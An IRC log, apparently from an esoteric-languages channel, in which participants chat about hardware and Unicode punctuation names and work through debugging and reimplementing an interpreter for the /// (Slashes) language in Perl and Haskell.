doesn't do DNS. :p 17:29:03 AnMaster: Rockbox. 17:29:09 It's an alternative OS for music players. 17:29:09 fizzie, it could, with SCKE 17:29:14 Including the iPod, Rio Karma, ... 17:29:14 ah 17:29:18 It supports FLAC and stuff. 17:29:20 Quite nice. 17:29:24 FOSS. 17:29:35 anyway. It is not a general purpose OS. 17:29:36 AnMaster: I didn't want to depend on SCKE, so it takes an IP address as a parameter. (Although I ended up using SCKE anyway, for the currently-under-construction http support.) 17:29:46 AnMaster: Doom was ported to Rockbox. 17:29:50 It's general-purpose enough. 17:29:56 -!- fungot has joined. 17:30:05 It does multitasking, too. 17:30:11 ehird, ok, that still doesn't make the device a general purpose computer though! 17:30:13 I'm hoping no-one is building any mission-critical systems on fungot's availability, anyway. 17:30:15 fizzie: and you kill the nice man? call/ cc using only lambda. in general if you want thing to move half as far as i know, 17:30:15 And MPEG2 playing. 17:30:20 AnMaster: They use ARM, I think. 17:30:37 Seems its clock speed goes from 24 to 80 MHz on-demand. 17:30:40 And have screens, etc; some even coloured. 17:30:50 And butans. 17:31:15 It's also got a GB emulator... 17:31:15 still doesn't make it a general purpose device. And: Is it a full UNIX OS? 17:31:26 No, it's not a UNIX. 17:31:41 It's a different sort of general-purpose multitasking OS. 17:31:45 which is what they are comparing Synthesis against there. SunOS 3 iirc 17:31:55 Rockbox is a general purpose OS running on quite powerful general-purpose hardware with lots of I/O. 17:32:26 and you have fast storage on an mp3 player 17:32:43 You do? 17:32:47 It's just a flash drive. 17:32:57 ... Which is a moot point, since a CD drive is fast enough to play CDs. :p 17:33:40 with or without buffering. As far as I understand it. Synthesis didn't buffer that audio much. 17:34:31 Well, it probably didn't have the RAM handy for large buffers. 17:35:06 looking at the code it seems to have a 100 byte buffer. 17:36:31 These programs can be connected together in a pipeline to perform more complex sound processing functions, in a similar way that text filters in Unix can be cascaded using the shell's "--" notation. <-- huh? Doesn't it mean | 17:39:09 AnMaster: typographical limitations. 17:39:13 -- is sideways | 17:39:17 hm 17:44:56 — is sideways | 17:48:28 well yes 17:48:39 but -- is poor man's — 17:50:03 Deewiant, is — ASCII? 17:51:27 There's just the strange hybrid "hyphen-minus" dash in ASCII, none of the fancy ones. 17:51:45 -!- tombom has joined. 17:54:13 what about that broken | char 17:54:16 that's -- sideways :-P 17:54:20 well, with a lil' ridge 17:56:30 Ah, the broken bar. That's still non-ascii, though. (But it is in latin-1, which is perhaps a bit unexpectadinous. It doesn't seem all that useful.) 17:56:50 -!- pikhq has quit ("Back in a flash"). 17:57:10 besides, "is — ASCII?" is silly 17:57:12 because | is ascii 17:57:18 so evidently if they can't type | they're not using ascii 17:57:22 prolly a typewriter 17:57:25 i guess 17:58:05 Unicode name for | is a boring "VERTICAL LINE", while ¦ is the "BROKEN BAR". 17:59:10 Though Unicode naming is a bit stuffy anyway. They've opted to call / and \ the "solidus" and "reverse solidus" instead of slash/backslash. 18:01:49 "slash" was the name in Unicode 1.0. I wonder what sort of committee discussions there were when they decided to rename it to solidus. (That gucharmap tool also lists "slash" and "virgule" as aliases, but I'm not sure where it's getting those from.) 18:02:20 "How do I send commands to my IRC client? Just type a VIRGULE in front of the command." 18:02:29 :-D 18:03:15 http colon virgule virgule virgulefullstop full stop org 18:04:29 http two-spot change change changespot spot org. 18:04:34 To use the INTERCAL names. 18:05:38 At least according to first google-hit e2 page; I'm not quite sure about the reliability there. 18:06:08 fizzie: e2's like 10x more infallable than wikipedia because it's just from one reliable source 18:06:48 slat, says the manual. Though the e2 page lists / twice. 18:12:20 Right, "change" is the "c overstrike /" thing, they've just mangled the e2 page. Well, that makes more sense anyway. (Though one has to wonder why a slat and not a spike, since ¢ has a vertical line in it.) Still, even "http two-spot slat slat slatspot spot org" has certain charm. 18:12:21 Pros: very fast cpu 18:12:21 Cons: price and the company who makes it 18:12:22 Other Thoughts: stop and think seriously think about where intel gets their new technology from............... AMD. Intergrated memory controller and 64 bit technology both comes from AMD so for those who bash said company well your r-tarded. AMD holds the patents on the new Technology Intel uses and intel is trying to cancel AMD's right to make x86 cpu's so that means AMD pulls those rights from Intel so all of you who jumped aboard the i7 boat will sin 18:12:27 k because no one will support updates so good luck 18:12:29 Ah, kooks. 18:12:42 fizzie: cent is c/ in some typographical contexts 18:12:45 c| is quite modern i think 18:12:54 also, slatspot is sort of like a spoonerism of slashdot 18:12:59 Can be; I'm quite modern, I wouldn't know. 18:13:31 "-- the cent sign, a lower-case letter c pierced top to bottom by a forward slash or a vertical line --" 18:13:36 Okays. 18:13:47 oooh! 18:13:51 the i7 975 will have 1mb of l2 18:13:53 me likey 18:14:03 ...130 watts though... 18:14:09 hmm 18:14:16 it seems the 1MB thing was lying 18:14:19 they're multiplying it by cores 18:14:20 since it's per-core 18:14:40 -!- pikhq has joined. 18:16:37 hi pikhq 18:24:59 -!- pikhq has quit ("leaving"). 18:26:00 -!- pikhq has joined. 18:39:02 ehird: WTF @ cache size 18:39:16 GregorR: It's 256KB *per each core*. 18:39:37 GregorR: And there's an 8MB L3 cache. 18:39:41 (shared between all cores) 18:40:33 Bleh, the inconsistent labeling of L2 and L3 confuses me ... 18:40:43 Well, the L3 cache is shared and the L2 isn't. 18:40:45 Big difference :-P 18:41:58 Core 2 Quad has (IIRC) a 4MB cache, which is divided into two 2MB caches each of which are shared between two cores, or something like that.. 18:42:29 the yorkfield xe has 2 x 6MB L2s 18:42:41 (QX9650) 18:42:46 rather confuzzling 18:43:03 Well, it's something like that. 18:43:17 Anyway, the point is that 256KB/core L2 seems awfully low for Intel. 18:43:51 It is a lot smaller than in recent times. 18:43:58 GregorR: but the L2 is faster 18:44:01 and you have the L3 too 18:44:07 so it's just shifting the boundaries a bit 18:44:25 Yeah, but having an L3 shared amongst more cores is stupid, the whole problem is that shared memory doesn't scale :P 18:44:58 It also leads to a security vulnerability, but Nehalem is worth it ;-) 18:45:18 Yummy integrated memory controller... Yummy DDR3... 18:47:48 !slashes http://oerjan.nvg.org/esoteric/slashes/crashtest.sss 18:48:20 ic, it must be just this nvg machine 18:48:36 ? 18:48:40 or possibly the old perl version 18:48:54 !sh perl --version 18:49:03 5.8.8 here 18:49:17 !help 18:49:18 Supported commands: addinterp bf_txtgen daemon daemons delinterp fyb help info kill userinterps 1l 2l adjust asm axo bch bct befunge befunge98 bf bf16 bf32 bf8 bfbignum boolfuck c chiqrsx9p choo cintercal clcintercal cxx dimensifuck echo forth glass glypho hello kipple lambda lazyk linguine malbolge ook pbrain perl qbf rail rhotor rot13 sadol sceql sh show slashes test trigger udage01 underload unlambda whirl yodawg 18:49:23 EgoBot sez 5.10.0 18:49:42 (Codu runs Debian Testing) 18:49:44 i'll make a file twice the size and retest, just in case 18:50:23 !slashes http://oerjan.nvg.org/esoteric/slashes/crashtest.sss 18:50:25 Complex regular subexpression recursion limit (32766) exceeded at /tmp/input.19081 line 10, <> line 516. 18:50:30 aha 18:51:30 ok a different error (not segmentation fault), but still annoying 18:54:11 so how does one optimize (s!^/((?:[^/\\]|\\.)*)/((?:[^/\\]|\\.)*)/!!s) further :( 18:54:54 By killing oneself. 18:55:52 oerjan: don't use regexs? 18:55:53 as in 18:55:58 yeah. 18:56:56 well that _should_ be a finite automaton needing no recursion 18:57:06 But isn't. 18:58:29 You know, I wonder what esolang to create 18:58:33 I want it to be based on painting 18:58:34 wow, the 975 will only cost $999 18:58:35 how cheep 18:58:45 as in, you know, mixing colors and stuff 18:59:23 add (R/G/B/W/K) x% - adds X % of the color to the brush 18:59:36 each color can have a defined value 18:59:40 R, G, and B just add 18:59:46 White adds twice the amount it stores 18:59:51 Black subtracts the amount it stores 19:00:12 set COLOR x , output brush, get brush... 19:01:13 while BRUSH( (R(ed)/G(reen)/B(lue)/A(ll)) ) = x then... 19:01:30 So I have an equalivment of [], +/-, , and . 19:01:35 but sadly I don't have infinite memory 19:01:42 oh! store 1 - stores brush to slot 1 19:01:50 acquire 1 - gets the value of 1 19:02:49 water - waters the brush, I.E. clears it 19:03:20 also, output brush does not clear it 19:06:40 oh wait 19:06:44 acquire 1 and get 1 add themselves 19:07:31 oh, and not watering the brush after finishing is an error 19:08:09 http://rafb.net/p/Rf4Tix42.html 19:08:12 check it out 19:08:16 47 lines of code for an hello world 19:08:57 !perl print $^V, "\n"; 19:08:58 v5.10.0 19:09:03 There's that. 19:09:20 what do you think of this esolang I CAN POSSIBLY IMPLEMENT 19:09:39 (not on a C64) 19:10:23 is it good or does it suck 19:10:28 or is there an exact same language 19:10:46 and yes, the output can be represented as colors 19:10:52 you just interpret RGB separately 19:10:55 and then take the values 19:10:59 and output them as a pixel 19:15:25 -.- 19:15:38 what? 19:21:28 so how does one optimize (s!^/((?:[^/\\]|\\.)*)/((?:[^/\\]|\\.)*)/!!s) further :( <-- how did you end up with that one 19:21:34 and 19:21:37 what is it supposed to do 19:21:59 there is too much escaped stuff for me to be able to parse it without more work that I'm willing to spend on it. 19:25:54 It matches /foo/bar/ where both foo and bar are sequences of either something else than / or \, or \ followed by any character. 19:26:23 So basically it removes a ///-language expression from the start of the string, and sets $1 and $2 to the two parts of it. 19:29:42 I'm not sure how optimizable it is, although you can (a) clarify it a bit with something like $body = qr{(?:[^/\\]|\\.)*}s after which you can write it as s!^/($body)/($body)/!!... or (b) obfuscate it a bit by referring to the first parenthesized subexpression in the other with something like s!^/((?:[^/\\]|\\.)*)/((?1))/!!s. 19:29:50 why use a regex to do it... 19:30:08 Because regular expressions are awesome, of course. 19:30:12 um 19:30:36 Some people, when confronted with a problem, think ``I know, I'll use regular expressions.'' Now they have two problems. -- jwz 19:31:28 That particular one is not such a terrible abuse, though. 19:32:13 Some people, when confronted with a joke, think ``I know, I'll use that Jamie Zawinski quote.'' Now they have a douchebag problem. -- jwz 19:32:21 fizzie, that jwz quote was actually in the description for http://www.jwz.org/hacks/gdb-highlight.el (not found in that file, but in http://www.jwz.org/hacks/marginal.html) 19:32:36 so that is rather ironic too 19:33:02 And anyway awesome is what they are. It's like a finite state machine cleverly disguised as a one line of curious scratches. 19:33:26 "like"? 19:33:40 * AnMaster writes down that line for future quoting 19:34:57 and yes, regex are awesome, as a DSL for searching text, or doing non-trivial (but still not complex) text replacements. 19:34:57 AnMaster: i wrote the /// interpreter in perl, of _course_ i used regexes 19:35:08 Plus, doing a regex across two lines tends to be a PITA 19:35:38 that's what that s at the end is for 19:36:03 The "how to optimize" question strongly depends on what you're optimizing; character count or clarity or what. 19:36:29 what if I want to grep for "while(\*p) p\+=[0-9]+;\nwhile(\*p) p\+=[0-9]+;", something I wanted to do recently 19:36:32 that is non-trivial 19:36:54 a grep limitation rather than regex limitation of course 19:37:08 but a lot of the tools with regex are line based. 19:37:26 fizzie: erm, i'm trying to optimize its ability not to crash on >= 50000 byte strings :D 19:37:37 then you don't want a regex. 19:37:49 *sigh* 19:38:32 Oh. I wouldn't have thought that particular one would be very trying for the regex-exxxecutor. 19:38:47 how many x 19:38:48 ... 19:38:57 As many as it needs. 19:39:03 good answer. 19:39:04 triple x 19:39:05 Depends on how exxxxxtreme you are. 19:39:12 fizzie, have an eggscellent day! 19:39:13 it represents your computer's temperature 19:39:17 uh 19:39:19 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXtreme 19:39:21 ignore that it sucks 19:39:27 Pronounced: chhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhstreme 19:39:29 !slashes http://oerjan.nvg.org/esoteric/slashes/crashtest.sss 19:39:32 ehird, the e got lost 19:39:32 there 19:39:34 Complex regular subexpression recursion limit (32766) exceeded at /tmp/input.19351 line 10, <> line 516. 19:39:38 AnMaster: No, it's Xtreme. 19:39:39 ^ fizzie 19:39:44 ehird, oh. Buzzword 19:39:47 right :P 19:39:47 http://www.google.com/search?client=safari&rls=en-us&q=xtreme&ie=UTF-8&oe=UTF-8 19:39:52 regex are in general not very efficient. 19:39:53 Buxworx. 19:40:01 Pronounced buchsworch, where ch is like Bach. 19:40:12 Strange crashey. 19:40:38 that google's code search does allow regex is strange. 19:40:40 very strange 19:40:45 strange? 19:40:48 you mean FUCKING AWESOME. 19:40:54 ehird, well yes. 19:40:56 but strange too 19:40:56 besides, they aren't full regexps, are they? 19:41:00 maybe 19:41:04 haven't checked what dialect 19:41:06 no more powerful than google's (x OR y) OR z 19:41:07 etc 19:41:10 and this nvg machine gave a different crash (Segmentation fault) 19:41:19 "Google Code Search supports POSIX extended regular expression syntax, excluding backreferences, collating elements, and collation classes. [...]" 19:41:20 ehird, ^ 19:41:27 Awesome. 19:41:32 http://www.google.com/intl/en/help/faq_codesearch.html#regexp 19:41:40 Well, I don't know, maybe they just throw three machines at it every time you search. It can't be too popular of a search engine. 19:42:04 ehird, load would be very small compared to the load of normal google 19:42:11 Eggsactly. 19:42:17 Have an eggcellent day! 19:42:25 If it's Xtreme, feel good! 19:42:37 "We also support the following Perl extensions: [list removed to not spam]" 19:42:42 let me try that ?> thing 19:42:44 but 19:42:49 those are trivial extensions 19:42:53 So? 19:43:27 bah :( 19:43:39 oerjan: rewrite it in haskell with PURITY 19:43:41 and TAIL CALLS 19:44:13 oerjan, is there no other implementation of /// ? 19:44:20 oerjan: Fine, I will. 19:44:21 Happy? 19:44:23 don't think so... 19:44:25 You're making me code. 19:44:27 oerjan, ah 19:44:33 oerjan: HAPPY NOW‽‽‽ 19:44:35 ehird, Since you mention it.... 19:44:35 ARGH 19:44:52 AND YOU WILL BE FORCED TO USE MY IMPLEMENTBWAHAHAHAH 19:44:52 A 19:44:54 ehird, what happened with that befunge interpreter in haskell you were working on 19:44:56 no, because to usefully _use_ it i'll have to finally install ghc... :D 19:44:56 -TION 19:45:01 AnMaster: AIEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE!!!!!!!!!!!!!!!!!!!!!! 19:45:06 oerjan: just grab a binary 19:45:09 ehird, wut? 19:45:24 ehird, are you still working on it? 19:45:28 AnMaster: Yes. Dormantly. 19:45:32 ah 19:45:35 oerjan: on unix, installing the binary is just "make install". on Windows, I think they have a fancy installer 19:46:17 I'm guessing it fails when it's trying to extend that (?:[^/\\]|\\.) pattern modified with *, since there's a lot of possibilities-except-not-really for backtracking there. You might actually try something like (?:(?>[^/\\]*)|\\.)* -- at least that should match long strings of non-escaped characters as a single blorb. 19:46:51 Though that's just a minor help, I'm guessing any reasonable /// program has quite a lot of escaped stuff in it. 19:47:10 er i just tried (?>[^/\\]*|\\.)* 19:47:16 didn't help here 19:47:20 although... 19:47:25 Yes, but that's different. 19:47:32 What's the defined behaviour of 19:47:34 /a 19:47:36 undefined? 19:47:37 I'm not sure how different, though. 19:47:41 /a? 19:47:47 where 19:47:53 in Slashes. 19:48:01 hm 19:48:03 fizzie: oh, and long strings of non-escaped characters are useful for what i'm currently doing 19:48:13 ehird, does it have that? 19:48:20 *useless 19:48:26 If it's a /, characters are taken up to the next / 19:48:29 how the heck did i mistype that 19:48:31 —[[slashes]] 19:49:01 ehird: don't know but my interpreter just gives up then 19:49:05 and quits 19:49:06 yeah, so will mine 19:49:37 fizzie: er, i miscopied you 19:49:55 i'm trying (s!^/((?>[^/\\]|\\.)*)/((?>[^/\\]|\\.)*)/!!s) 19:50:00 and that didn't help here 19:50:22 !delinterp slashes 19:50:22 Interpreter slashes deleted. 19:50:35 !help 19:50:36 Supported commands: addinterp bf_txtgen daemon daemons delinterp fyb help info kill userinterps 1l 2l adjust asm axo bch bct befunge befunge98 bf bf16 bf32 bf8 bfbignum boolfuck c chiqrsx9p choo cintercal clcintercal cxx dimensifuck echo forth glass glypho hello kipple lambda lazyk linguine malbolge ook pbrain perl qbf rail rhotor rot13 sadol sceql sh show test trigger udage01 underload unlambda whirl yodawg 19:50:39 !addinterp slashes perl http://oerjan.nvg.org/esoteric/slashes/slashes.pl 19:50:39 Interpreter slashes installed. 19:50:48 !userinterps 19:50:48 Installed user interpreters: bct bfbignum chiqrsx9p choo echo hello ook rot13 slashes yodawg 19:50:49 !slashes http://oerjan.nvg.org/esoteric/slashes/crashtest.sss 19:50:50 Complex regular subexpression recursion limit (32766) exceeded at /tmp/input.19509 line 16, <> line 516. 19:50:53 !perl help 19:50:54 nah 19:51:00 still the same 19:51:00 !perl print hi 19:51:04 no? 19:51:16 !perl print "hi" 19:51:16 hi 19:51:16 !perl print "hi" 19:51:17 I don't think it should help in that case, since it's just matching that single character as an independent blorb. But I guess my version won't necessarily help either. 19:51:17 hi 19:51:17 ah 19:51:39 oerjan, does it work when run on your own computer 19:52:22 i don't have perl there 19:52:26 i run it on nvg 19:52:38 (shell account) 19:52:40 what sort of computer doesn't have perl these days... 19:52:46 a windows one 19:52:47 oerjan: Anyway, there are experimental-and-subject-to-change "Special Backtracking Control Verbs" in (at least) 5.10; if you write (*PRUNE) somewhere it should clear the backtracking tree at that point; I'm not sure if it helps with that recursion limit, though. And I don't know if that's in 5.8. 19:52:48 aha 19:52:50 true 19:52:51 which oerjan uses 19:52:58 he also uses IE, just so you can get more riled up 19:53:01 activestate perl sounds familiar for windows 19:54:02 (dest,xs'') = toSlash xs'' 19:54:06 count of 's fail 19:54:20 ehird, I'm pretty sure I remember oerjan using ubuntu for a while? Or was it oklopol 19:54:28 oklopol 19:54:30 aha 19:54:38 oerjan: the example program, 19:54:38 \ 19:54:39 /foo 19:54:41 /foo/bar 19:54:43 how does execution go there? 19:54:50 replace foo\n with foo 19:54:53 and, uh... 19:55:08 waitasecond 19:55:13 "If it's not / or \, it's printed." 19:55:15 it's then removed, right? 19:55:20 the only way I can see that working is with newlines being stripped 19:55:29 but I must be wrong about that 19:55:30 first it prints a newline 19:55:32 * ehird tries the / world! world!/Hello,/ world! world! world! program anyway 19:55:37 simpler to understand 19:55:45 *Main> run "/ world! world!/Hello,/ world! world! world!" 19:55:45 (" world! world!","Hello,"," world! world! world!") 19:55:48 -!- M0ny has joined. 19:55:51 easy peasy lemon squeezey 19:56:01 ehird, not exactly right! 19:56:06 it isn't executing 19:56:12 ah 19:56:12 it's just print-debugging 19:56:13 !slashes / world! world!/Hello,/ world! world! world! 19:56:13 Hello, world! 19:56:15 just tokenising 19:56:17 or whatever 19:56:21 let (source,xs') = toSlash xs 19:56:22 (dest,xs'') = toSlash xs' 19:56:23 wrong word for it 19:56:23 in print (source,dest,xs'') 19:56:27 parsing, pretty much 19:56:31 yeah 19:56:42 ehird, what bit in that handles the \ 19:56:49 ehird: also can you make your interp more efficient by not backtracking all the way after a match? 19:57:02 AnMaster: toSlash, and also run 19:57:06 the perl one obviously redoes the whole string 19:57:13 oerjan: isn't that required? 19:57:22 Hello, world! 19:57:25 -!- KingOfKarlsruhe has joined. 19:57:29 ehird: i mean by not going further than necessary 19:57:34 -!- tombom_2 has joined. 19:57:45 oerjan: esplain? 19:58:15 say, /foo/o/abcdeffffoooooo 19:58:29 you can throw away everything up to the e 19:58:37 ooh, you're right 19:58:40 oerjan: throw away is a bit strong 19:58:42 it needs to be output 19:58:55 oerjan: what about 19:59:02 and after the first match you don't need to go back to the very first f 19:59:03 /foo/o//bar/quux/foo 19:59:08 it gets a bit hairy 19:59:13 /throw away/put in the already done list/throw away 19:59:14 :P 19:59:24 (right?) 19:59:38 -> /bar/quuux/o 19:59:41 !slashes /foo/o//bar/quux/foo 19:59:42 o 19:59:55 !slashes /foo/foo/bar 19:59:55 bar 19:59:57 um 20:00:03 oerjan: but, /bar/quuux/o isn't rewinding 20:00:06 it's the bad case you said 20:00:10 oerjan: so, check for / and don't do it? 20:00:14 that sounds like a hack 20:00:21 if you give some more precise semantics it's done 20:00:22 \ 20:00:22 /foo 20:00:22 /foo/bar 20:00:25 I wonder too 20:00:33 ehird: i've pondered it a bit and doing it perfectly may be awkward 20:00:51 foo/foo/bar 20:00:53 err 20:00:57 !slashes foo/foo/bar 20:00:58 foo 20:01:01 but you can (1) check initial characters (2) not backtrack more than the length of the matched string 20:01:04 oerjan: how about "output-with-escapes and throw away everything up to either: the first unescaped / or the term we're looking for" 20:01:07 thought I had !slashes in front not 20:01:07 sorry 20:01:19 !slashes foo/foo/bar/quux 20:01:19 fooquux 20:01:26 !slashes foo/foo/bar/qufooux 20:01:27 fooqubarux 20:01:33 !slashes /foo//qufooux 20:01:33 quux 20:01:36 ehird: you cannot output until you are sure the match doesn't cause an infinite loop 20:01:38 right 20:01:47 oerjan: this sounds more and more ugly 20:01:53 still doesn't explain the multiline example that ehird pasted 20:02:23 AnMaster: let's use space instead of newline 20:02:30 \ /foo /foo/bar 20:02:45 output ' ' -> /foo /foo/bar 20:02:45 there's no "foo " in the program 20:02:47 oerjan: You don't have to backtrack in the Perl interpreter either: you can use pos($str) = x; to set the position where \G matches, and then nail your replacing regular expression with that. (Although the savings there might be more than offset by the overhead of having to "replace" everything from the \G point with itself.) 20:02:51 -> bar 20:02:57 indeed not 20:02:58 ah 20:03:02 so it's a silly example :P 20:04:13 oerjan: i'll implement without 20:04:14 and mod later 20:04:18 !slashes /foo/bar/foo 20:04:19 bar 20:04:19 that's just the expressive power of HASKOLI 20:04:22 !slashes /foo/b\\ar/foo 20:04:23 bar 20:04:25 !slashes /foo/b\ar/foo 20:04:25 bar 20:04:27 err 20:04:29 !slashes /foo/b\\ar/foo 20:04:29 bar 20:04:34 !slashes foo/foo/bar/foo 20:04:35 foobar 20:04:35 surely that is wrong 20:04:41 oerjan, ^ 20:04:55 !slashes /foo/b\\\\ar/foo 20:04:55 GregorR: You know how you were wanting C++->C compilation? llvm can do it. 20:04:55 bar 20:04:57 !slashes /foo/b\\\ar/foo 20:04:58 bar 20:05:01 !slashes /foo/b\\\\\\ar/foo 20:05:02 bar 20:05:05 llvm has a GCC frontend, and it can target C. 20:05:07 oerjan, sure that is correct? 20:05:20 it doesn't seem to be to me 20:05:28 eek 20:05:43 wow that was fun. Making oerjan say "eek" 20:05:50 ;P 20:06:02 EgoBot bug 20:06:13 oerjan, oh? 20:06:15 GregorR, ^ 20:06:16 bug 20:06:19 The resulting C code when compiled won't fully comply with the C++ ABI, but it's otherwise correct. 20:06:25 the last one prints b\ar here 20:06:51 !slashes /foo/b\\\\\\ar/foo the last one prints b\ar here <-- what? There are way more \ than that 20:06:52 /foo/b\\\\\\ar/foo -> b\\\ar 20:06:52 right 20:07:00 ah 20:07:02 true 20:07:25 !slashes \\\\\\\\ 20:07:25 \\ 20:07:34 !slashes /foo/b\\\\\\\\ar/foo 20:07:35 b\ar 20:07:37 hm 20:07:39 !slashes /foo/b\\\\\\\ar/foo 20:07:39 bar 20:07:40 !slashes /foo/b\\\\\\ar/foo 20:07:41 bar 20:07:44 clearly egobot does some unescaping of its own 20:07:45 !slashes /foo/b\\\\\ar/foo 20:07:45 bar 20:07:47 !slashes /foo/b\\\\ar/foo 20:07:48 bar 20:07:50 yeah 20:07:55 it is a bug still 20:07:57 in EgoBot 20:08:09 !slashes \ 20:08:13 !slashes \\ 20:08:16 ok 20:08:18 that is wrong 20:08:24 that should output a \ 20:08:27 as far as I can see 20:08:40 !slashes /foo/b\/ar/foo 20:08:40 b 20:08:46 err 20:08:47 wut 20:08:52 !slashes /foo/b\\\/ar/foo 20:08:53 b/ar 20:08:56 ah 20:09:02 !slashes /foo/b\\\/a\\\/r/foo 20:09:02 b/a/r 20:09:03 the interpreter gives up if the code ends with an incomplete command such as \ 20:09:44 !slashes /a/A/b/B/r/R/foo/b\\\/a\\\/r/foo 20:09:45 bRb/A/r 20:09:47 no 20:09:54 that is wrong oerjan I think 20:10:03 -!- tombom_2 has left (?). 20:10:07 unless I'm mistaken 20:10:08 -!- tombom_2 has joined. 20:10:15 !slashes /a/A/b/B/r/R/foo/bar/foo 20:10:15 bRbAr 20:10:25 assuming EgoBot decodes that to /a/A/b/B/r/R/foo/b\/a\/r/foo 20:10:35 before sending it to /// 20:10:36 wait hm 20:10:45 !slashes /a/A//b/B//r/R/foo/bar/foo 20:10:46 foo 20:10:50 no. Not that either 20:11:04 I want upper case BAR output 20:11:12 !slashes /a/A//b/B//r/R//foo/bar/foo 20:11:13 BAR 20:11:14 aha 20:11:23 -> /foo/B\/A\/R/foo 20:11:24 oerjan: I almost have a working slashes 20:11:28 with only one butt-ugly function! 20:11:30 oerjan, yeah I see now 20:12:22 *Main> replace "abc" "def" "abcdef" 20:12:22 "defabc" 20:12:24 LOL 20:12:26 WAT 20:12:34 *Main> replace "abc" "def" "abcxxx" 20:12:34 "defabc" 20:12:49 for a certain value of "almost" 20:12:56 * ehird attempts to clear head 20:13:05 * ehird cuts out replace function, writes better one 20:14:08 -!- olsner has quit ("Leaving"). 20:14:55 oerjan: the basic problem is that "replace the first instance of this with this or do nothing if there isn't one" is not an intuitive operation 20:15:13 you can say that 20:15:41 anyway i have an idea that you might use a zipper 20:16:06 as in, pass the characters already checked in reverse 20:16:25 easy to backtrack a short length then 20:17:18 replace _ _ [] = []; r what with s@(x:xs) = let (a,b) = splitAt (length what) s in if a == what then with ++ b else x : replace what with xs 20:17:21 *Main> replace "abc" "def" "abcdef" 20:17:21 "defdef" 20:17:21 Or something. 20:17:22 *Main> replace "abc" "def" "aaabcdef" 20:17:24 "defdef" 20:17:26 *Main> replace "abc" "def" "" 20:17:28 "" 20:17:30 score 20:17:32 Deewiant: 20:17:32 ehird: Fail. 20:17:34 replace :: String -> String -> String -> String 20:17:36 replace [] r ys = r ++ ys 20:17:38 replace _ _ [] = [] 20:17:40 replace s@(x:xs) r (y:ys) 20:17:42 | x == y = replace xs r ys 20:17:44 | otherwise = replace s r ys 20:17:46 much simpler 20:17:48 what 20:17:50 how is that fail 20:17:51 ehird: otherwise = y : replace s r ys 20:17:55 oh 20:17:57 true enough :-) 20:18:08 Deewiant: it also doesn't handle this 20:18:16 *Main> replace "abc" "def" "abx" 20:18:16 "" 20:18:21 i knew it couldn't be so trivial 20:18:28 Shouldn't that otherwise handle it 20:18:40 Deewiant: no, read it; it chops off the first two chars which do match 20:18:41 Just use mine :-P 20:18:45 but then the last one doesn't match, oshi- 20:18:47 and is yours efficient? 20:18:55 No, you should precompute length what 20:19:09 ressir 20:19:10 *yessir 20:19:11 Other than that; efficient enough. 20:19:14 :-P 20:20:46 Alternatively, if what could be infinite, do something like; replace what with s@(x:xs) = if what `isPrefixOf` s then with ++ drop (length what) s else x : replace what with xs 20:21:22 erm if what could be infinite isPrefixOf is not going to finish 20:21:32 Yes it will 20:21:34 When s runs out 20:21:51 *Main> replace "abc" "def" "abxabcdef" 20:21:51 "abxdefdef" 20:21:52 Kay. 20:22:00 repeat 1 `isPrefixOf` [] --> False 20:22:18 *Main> run "/ world! world!/Hello,/ world! world! world!" 20:22:18 Hello, world!*Main> 20:22:20 Fuck yeah! 20:22:37 Now, oerjan, I will run 99bob, then your simpler counter. 20:22:41 Then, I will implement your efficiency thing. 20:23:16 oerjan: Epic unsuccess. 20:23:21 heh 20:23:32 oerjan: You CAN replace inside future ///s, right? 20:23:38 I get: 20:23:38 certainly 20:23:38 *Main> run prog 20:23:39 99 bottles of beer on the wall, 20:23:41 99 bottles of beer 20:23:43 Take one down, pass it around 20:23:45 98 bottles of beer on the wall. 20:23:47 98#98$97%97#97$96%96#96$95%95#95$94%94#94$93%93#93$92%92#92$91%91#91$90%90#90$89%89#89$88%88#88$87%87#87] 20:23:50 [more crap] 20:23:52 then the 1 verse 20:24:15 you are not redoing the replacement after success... 20:24:20 Ah. 20:24:21 Ah. 20:24:21 it would seem 20:24:25 Yes, yes that would be it. 20:25:16 findFixPoint :: (Eq a) => (a -> a) -> a -> a 20:25:17 findFixPoint f x 20:25:18 | x == x' = x 20:25:20 | otherwise = findFixPoint f x' 20:25:22 where x' = f x 20:25:24 A trusty helper. 20:25:32 It wooooooooooooooooooooooooorks! 20:25:38 not very efficient though 20:25:43 What? 20:25:45 Whyever not? 20:25:55 oerjan: it outputs all at once; I wonder why? 20:26:00 prob'ly buf'ring 20:26:00 that findFixPoint will check all through 20:26:08 and, wat? 20:26:18 findFixPoint = until =<< ap (==) 20:26:25 Deewiant: i'm no obfuscator 20:26:52 findFixPoint f = until (ap (==) f) f 20:26:59 oerjan: does the 99bob program output all at once? 20:26:59 findFixPoint f = until (\x -> x == f x) f 20:27:01 Pick one :-P 20:27:18 hm more or less i should think 20:27:29 it would do all the substitutions early 20:27:54 right 20:28:00 oerjan: same with thue-morse? 20:28:08 ehird: that findFixPoint is going to be inefficient as the changes come later and later in the string 20:28:13 ah 20:28:14 findFixPoint f = fmap snd . find (uncurry (==)) . (zip `ap` tail) . iterate f 20:28:14 right 20:28:21 oerjan: but that's just your optimization; I can fix that later. 20:28:30 and what, oerjan, about infinite loops? 20:28:36 oh, you can just check if dest contains source 20:28:41 oerjan: mmnope 20:28:44 oerjan: take, for example 20:28:46 * oerjan looks up thue-morse 20:29:15 i was wondering if you could have an infinite loop without strict containment 20:29:15 oerjan: /axx/ax/aaxxx → aaxx 20:29:21 your don't-backtrack doesn't handle that 20:29:29 huh? 20:29:31 also, do these examples have newlines at the end? 20:29:40 oerjan: they handle → aaxx 20:29:42 but then don't backtrack 20:29:45 i didn't say you _shouldn't_ backtrack 20:29:45 and so mixx the extra axx replacement 20:29:46 You can backtrack a limited amount 20:29:55 You don't need to backtrack all the way, though 20:29:57 i said you shouldn't backtrack all the way 20:30:02 oerjan: your counter works 20:30:09 yay 20:30:12 oerjan: it gets slower every time, of course 20:30:20 oerjan: do you mean: 20:30:25 only backtrack to the start of the replacement? 20:30:46 backtrack to start of replacement - length of replaced string 20:30:59 + 1, i think 20:31:05 okeydokey 20:31:19 oerjan: er minus length of replaced string? 20:31:25 so if you start replacing at 5, and replace with a 3 char string 20:31:25 and that can backtrack further if there is a match there 20:31:27 you go back to 2? 20:31:51 